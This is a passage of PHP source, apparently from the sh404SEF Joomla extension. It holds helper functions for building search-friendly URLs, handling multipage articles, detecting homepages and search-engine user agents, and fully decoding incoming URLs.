strpos($sefConfig->pageTexts[$pageInfo->currentLanguageTag], '%s')) ) { $page = str_replace('%s', $pagenum, $sefConfig->pageTexts[$pageInfo->currentLanguageTag]) . $shMultPageLength; if ($sefConfig->LowerCase) { $page = JString::strtolower($page); } } else { $page = $sefConfig->pagerep . $pagenum . $shMultPageLength; } // V 1.2.4.t special processing to replace page number by headings $shPageNumberWasReplaced = false; if (strpos($url, 'option=com_content') !== false && strpos($url, 'view=article') !== false && !empty($limitstart)) { // this is multipage article - limitstart instead of limit in J1.5 if ($sefConfig->shMultipagesTitle) { parse_str($url, $shParams); if (!empty($shParams['id'])) { $shPageTitle = ''; try { $contentElement = ShlDbHelper::selectObject( '#__content', array('id', 'fulltext', 'introtext'), array('id' => $shParams['id']) ); } catch (Exception $e) { JError::raise(E_ERROR, 500, $e->getMessage()); } $contentText = $contentElement->introtext . $contentElement->fulltext; if (!empty($contentElement) && (strpos($contentText, 'class="system-pagebreak') !== false)) { // search for mospagebreak tags // copied over from pagebreak plugin // expression to search for $regex = '#]*)class=(\"|\')system-pagebreak(\"|\')([^>]*)\/>#iU'; // find all instances of mambot and put in $matches $shMatches = array(); preg_match_all($regex, $contentText, $shMatches, PREG_SET_ORDER); // adds heading or title to Title if (empty($limitstart)) { // if first page use heading of first mospagebreak /* if ( $shMatches[0][2] ) { parse_str( html_entity_decode( $shMatches[0][2] ), $args ); if ( @$args['heading'] ) { $shPageTitle = stripslashes( $args['heading'] ); } }*/ } else { // for other pages use title of mospagebreak if ($limitstart > 0 && $shMatches[$limitstart - 1][1]) { $args = JUtility::parseAttributes($shMatches[$limitstart - 1][0]); if (@$args['title']) { $shPageTitle = $args['title']; } else if (@$args['alt']) { $shPageTitle = $args['alt']; } else { // there is a page break, but no title. Use a page number $shPageTitle = str_replace('%s', $limitstart + 1, $sefConfig->pageTexts[$pageInfo->currentLanguageTag]); } } } } if (!empty($shPageTitle)) { // found a heading, we should use that as a Title $location .= $shSeparator . titleToLocation($shPageTitle); } $shPageNumberWasReplaced = true; // always set the flag, otherwise we'll a Page-1 added } } else { // mutiple pages article, but we don't want to use smart title. // directly use limitstart $page = str_replace('%s', $limitstart + 1, $sefConfig->pageTexts[$pageInfo->currentLanguageTag]); } } // maybe this is a multipage with "showall=1" if ( (JString::strpos($url, 'option=com_content') !== false && JString::strpos($url, 'view=article') !== false && JString::strpos($url, 'showall=1') !== false) || (JString::strpos($url, 'option=com_flexicontent') !== false && JString::strpos($url, 'view=item') !== false && JString::strpos($url, 'showall=1') !== false) ) { // this is multipage article with showall $tempTitle = JText::_('All Pages'); $location .= $shSeparator . titleToLocation($tempTitle); $shPageNumberWasReplaced = true; // always set the flag, otherwise we'll a Page-1 added } // make sure we remove bad characters $takethese = str_replace('|', '', $sefConfig->friendlytrim); $location = JString::trim($location, $takethese); // add page number if (!$shPageNumberWasReplaced && ((!isset($limitstart) && (isset($limit) && $limit != 1 && $limit != $listLimit && $limit != $defaultListLimit)) || !empty($limitstart)) ) { $location .= $shSeparator . $page; } } // add suffix $format = Sh404sefHelperUrl::getUrlVar($url, 'format'); $shouldAddSuffix = empty($format) || $format == 'html'; if ($shouldAddSuffix && !empty($shSuffix) && !empty($location) && $location != '/' && JString::substr($location, -1) != '/') { $location = $shSuffix == '/' ? $location . $shSuffix : str_replace($shSuffix, '', $location) . $shSuffix; } // add default index file if ($sefConfig->addFile) { if ((empty($shSuffix) || (!empty($shSuffix) && $shouldAddSuffix && JString::subStr($location, -$suffixLength) != $shSuffix)) && JString::substr($location, -1) == '/') { $location .= $sefConfig->addFile; } } return JString::ltrim($location, '/'); } // V 1.2.4.t check if this is a request for VM cookie check AND done by a search engine // if so, this has to be an old link left over in search engine index, and we must 301 redirectt to // same URl without vmvhk/ function shCheckVMCookieRedirect() { $pageInfo = &Sh404sefFactory::getPageInfo(); if (shIsSearchEngine() && strpos($pageInfo->currentSefUrl, 'vmchk/') !== false) { shRedirect(str_replace('vmchk/', '', $pageInfo->currentSefUrl)); } } /* * 404SEF SUPPORT FUNCTIONS */ // V 1.2.4.q detect homepage, disregarding pagination function shIsHomepage($string) { static $pages = array(); static $home = ''; if (!isset($pages[$string])) { $pageInfo = &Sh404sefFactory::getPageInfo(); if (empty($home) && !empty($pageInfo->homeLink)) { $home = Sh404sefHelperUrl::sortUrl(shCleanUpPag($pageInfo->homeLink)); } $shTempString = JString::rtrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $string), '/'); $pages[$string] = Sh404sefHelperUrl::sortUrl(shCleanUpPag($shTempString)) == $home; // version t added sorting } return $pages[$string]; } function shIsAnyHomepage($string) { static $pages = array(); static $home = ''; static $cleanedHomeLinks = array(); if (!isset($pages[$string])) { $pageInfo = &Sh404sefFactory::getPageInfo(); if (empty($cleanedHomeLinks)) { foreach ($pageInfo->homeLinks as $link) { $cleanedHomeLinks[] = shCleanUpPag($link); } } $shTempString = JString::rtrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $string), '/'); $shTempString = Sh404sefHelperUrl::sortUrl(shCleanUpPag($shTempString)); // check all homepages $pages[$string] = false; foreach ($cleanedHomeLinks as $link) { if ($link == $shTempString) { $pages[$string] = true; } } } return $pages[$string]; } function getMenuTitle($option, $task, $id = null, $string = null, $shLanguage = null) { $pageInfo = &Sh404sefFactory::getPageInfo(); $sefConfig = &Sh404sefFactory::getConfig(); $shLanguage = empty($shLanguage) ? $pageInfo->currentLanguageTag : $shLanguage; $nameField = $sefConfig->useMenuAlias ? 'alias' : 'title'; $menu = JFactory::getApplication()->getMenu(); $attr = array(); $values = array(); if (!empty($string)) { $attr[] = 'link'; $values[] = $string; } else if (!empty($id)) { $attr[] = 'id'; $values[] = $id; } else if (!empty($option)) { // need to find component id $component = JComponentHelper::getComponent($option, $strict = true); if (!$component->enabled) { return ('/'); } $attr[] = 'component_id'; $values[] = $component->id; } else { return '/'; } // now ask J! to fetch menu item title $menuItem = shFindMenuItem($menu->getMenu(), $attr, $values, $firstOnly = true); if (!empty($menuItem)) { //$languages = JLanguageHelper::getLanguages(); $languages = Sh404sefHelperLanguage::getActiveLanguages(); foreach ($languages as $langId => $language) { if (strpos($pageInfo->homeLinks[$language->lang_code], 'Itemid=' . $menuItem->id) !== false) { // is language filter set to remove lang code on default language? if (empty($langId) || ($language->sef == Sh404sefHelperLanguage::getDefaultLanguageSef() && !Sh404sefHelperLanguage::getInsertLangCodeInDefaultLanguage())) { $title = ''; } else { $title = $language->sef; } return $title; // this is one of the homepages, retunr / or a lang code } } // non-homepage if (!empty($menuItem->$nameField)) { return $menuItem->$nameField; } } return str_replace('com_', '', $option); } function shFindMenuItem($menuItems, $attributes, $values, $firstonly = false) { $items = array(); $attributes = (array) $attributes; $values = (array) $values; foreach ($menuItems as $item) { if (!is_object($item)) { continue; } $test = true; for ($i = 0, $count = count($attributes); $i < $count; $i++) { if (is_array($values[$i])) { if (!in_array($item->{$attributes[$i]}, $values[$i])) { $test = false; break; } } else { if ($item->{$attributes[$i]} != $values[$i]) { $test = false; break; } } } if ($test) { if ($firstonly) { return $item; } $items[] = $item; } } return $items; } function shIsSearchEngine() { // return true if user agant is a search engine static $isSearchEngine = null; //return true; if (!is_null($isSearchEngine)) { return $isSearchEngine; } else { $isSearchEngine = false; $useragent = empty($_SERVER['HTTP_USER_AGENT']) ? '' : strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($useragent)) { $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig($forced = false); $remotes = empty($remoteConfig->config['searchenginesagents']) ? array() : $remoteConfig->config['searchenginesagents']; $agents = array_unique(array_merge(Sh404sefFactory::getPConfig()->searchEnginesAgents, $remotes)); foreach ($agents as $agent) { if (strpos($useragent, strtolower($agent)) !== false) { $isSearchEngine = true; return true; } } } return $isSearchEngine; } } // J 1.5 specific functions function shRemoveSlugs($vars, $removeWhat = true) { // remove slugs from a J! 1.5 non-sef style vars array if (!empty($vars)) { foreach ($vars as $k => $v) { $m = is_string($v) ? explode(':', $v) : null; // tracker #14107, thanks 3dentech if (!empty($m) && !empty($m[1]) && is_numeric($m[0])) { // an integer followed by : followed by something $vars[$k] = $removeWhat === 'removeId' ? $m[1] : $m[0]; // depending on params, either keep id or slug } else { // use the raw value, for arrays for instance $vars[$k] = $v; } } // fix some problems in incoming URLs if (!empty($vars['Itemid'])) { // sometimes we get doubles : ?Itemid=xx?Itemid=xx $vars['Itemid'] = intval($vars['Itemid']); } if (!empty($vars['view'])) { // some links have view=article; $vars['view'] = str_replace('article;', 'article', $vars['view']); // view is set but no option : use default controller (com_content) if (empty($vars['option'])) { $vars['option'] = 'com_content'; } } if (empty($vars['option']) && !empty($vars['format']) && $vars['format'] == 'feed') { $vars['option'] = 'com_content'; } } return $vars; } function shNormalizeNonSefUri(&$uri, $menu = null, $removeSlugs = true) { // put back a J!1.5 non-sef url to J! 1.0.x format // Get the route $route = $uri->getPath(); //Get the query vars $vars = $uri->getQuery(true); // fix some problems in incoming URLs if (!empty($vars['Itemid'])) { // sometimes we get doubles : ?Itemid=xx?Itemid=xx $vars['Itemid'] = intval($vars['Itemid']); $uri->setQuery($vars); } // fix urls obtained through a single Itemid, in menus : url is option=com_xxx&Itemid=yy $urlLang = $uri->getVar('lang', ''); if ((count($vars) == 2 && $uri->getVar('Itemid')) || (count($vars) == 3 && $uri->getVar('Itemid') && $uri->getVar('lang'))) { if (empty($menu)) { $menu = JFactory::getApplication()->getMenu(); } $shItem = $menu->getItem($vars['Itemid']); if (!empty($shItem)) { // we found the menu item $url = $shItem->link . '&Itemid=' . $shItem->id; $newUri = new JURI($url); // rebuild $uri based on this new url $vars = $newUri->getQuery(true); if (empty($urlLang)) { $urlLang = $shItem->language; if ($urlLang == '*') { // use current page language $urlLang = Sh404sefFactory::getPageInfo()->currentLanguageTag; } $urlLang = Sh404sefHelperLanguage::getUrlCodeFromTag($urlLang); } if (!empty($urlLang)) { $vars['lang'] = $urlLang; } } } if ($removeSlugs !== false) { $vars = shRemoveSlugs($vars, $removeSlugs); } $uri->setQuery($vars); } function shNormalizeNonSefUrl($url) { // returns non-sef url with slugs removed + a few fixes $uri = new JURI($url); shNormalizeNonSefUri($uri); return $uri->toString(array('path', 'query', 'fragment')); } function shUrlSafeDisplay($url) { return htmlentities($url, ENT_QUOTES, 'UTF-8'); } /** * Read config values from sobi2 config table * * @param $key * @param $section * @return string */ function shGetSobi2Config($key, $section) { ShlSystem_Log::debug('sh404sef', 'Using removed shGetSobi2Config function, not applicable anymore'); return false; } /** * Insert an intro text into the content table * * @param strng $shIntroText * @return boolean, true if success */ function shInsertContent($pageTitle, $shIntroText) { jimport('joomla.database.table'); try { $catid = Sh404sefHelperCategories::getUncategorizedCat(); if (empty($catid)) { $this->setError(JText::_('COM_SH404SEF_CANNOT_SAVE_404_NO_UNCAT')); return; } $contentTable = JTable::getInstance('content'); $content = array('title' => $pageTitle, 'alias' => $pageTitle, 'title_alias' => $pageTitle, 'introtext' => $shIntroText, 'state' => 1, 'catid' => $catid, 'attribs' => '{"menu_image":"-1","show_title":"0","show_section":"0","show_category":"0","show_vote":"0","show_author":"0","show_create_date":"0","show_modify_date":"0","show_pdf_icon":"0","show_print_icon":"0","show_email_icon":"0","pageclass_sfx":""}'); $status = $contentTable->save($content); } catch (Exception $e) { $status = false; } return $status; } /** * Returns a string with an article id, in accordance * with various settings * @param $id * @param $view * @param $option * @param $shLangName */ function shGetArticleIdString($id, $view, $option, $shLangName) { $sefConfig = &Sh404sefFactory::getConfig(); // V 1.5.7 : article id, on some categories only $articleId = ''; if ($sefConfig->ContentTitleInsertArticleId && isset($sefConfig->shInsertContentArticleIdCatList) && !empty($id) && ($view == 'article')) { $slugsModel = Sh404sefModelSlugs::getInstance(); $article = $slugsModel->getArticle($id); if (empty($article[$shLangName])) { $shLangName = '*'; } // check if article categogy is in the settings categories list, // or that the categories list is empty, which means user selected the "All categories" option if (!empty($article[$shLangName])) { $foundCat = (!empty($sefConfig->shInsertContentArticleIdCatList) && empty($sefConfig->shInsertContentArticleIdCatList[0])) || in_array($article[$shLangName]->catid, $sefConfig->shInsertContentArticleIdCatList); if ($foundCat !== null && $foundCat !== false) { $articleId = $article[$shLangName]->id; } } } return $articleId; } /** * Reads an return the page title assigned to either * current or a specific menu item * * @param $Itemid itemid of the desired menu item */ function shGetJoomlaMenuItemPageTitle($Itemid = 0) { return Sh404sefHelperMetadata::getMenuItemTitle($Itemid); } /** * check various conditions to decide if we * should redirect from non-sef url to its * sef equivalent */ function shShouldRedirectFromNonSef($pageInfo) { die('voluntary die in ' . __METHOD__ . ' of class ' . __CLASS__); } function shCheckCustomRedirects($path, $pageInfo) { die('voluntary die in ' . __METHOD__ . ' of class ' . __CLASS__); } function shCheckAlias($incomingUrl) { die('voluntary die in ' . __METHOD__ . ' of class ' . __CLASS__); } function shRawUrlDecodeDeep($data) { if (is_array($data)) { foreach ($data as $key => $element) { $data[$key] = shRawUrlDecodeDeep($element); } return $data; } else { return rawurldecode($data); } } function shUrlDecodeFull($url) { // security checks: copied from Joomla security patch, // tracker id: 22767 // Need to check that the URI is fully decoded in case of multiple-encoded attack vectors. $halt = 0; while (true) { $last = $url; $url = rawurldecode($url); // Check whether the last decode is equal to the first. if ($url == $last) { // Break out of the while if the URI is stable. break; } else if (++$halt > 10) { // Runaway check. URI has been seriously compromised. if (!headers_sent()) { header('HTTP/1.0 403 FORBIDDEN'); echo 'Forbidden access'; } jexit(); } } return $url; }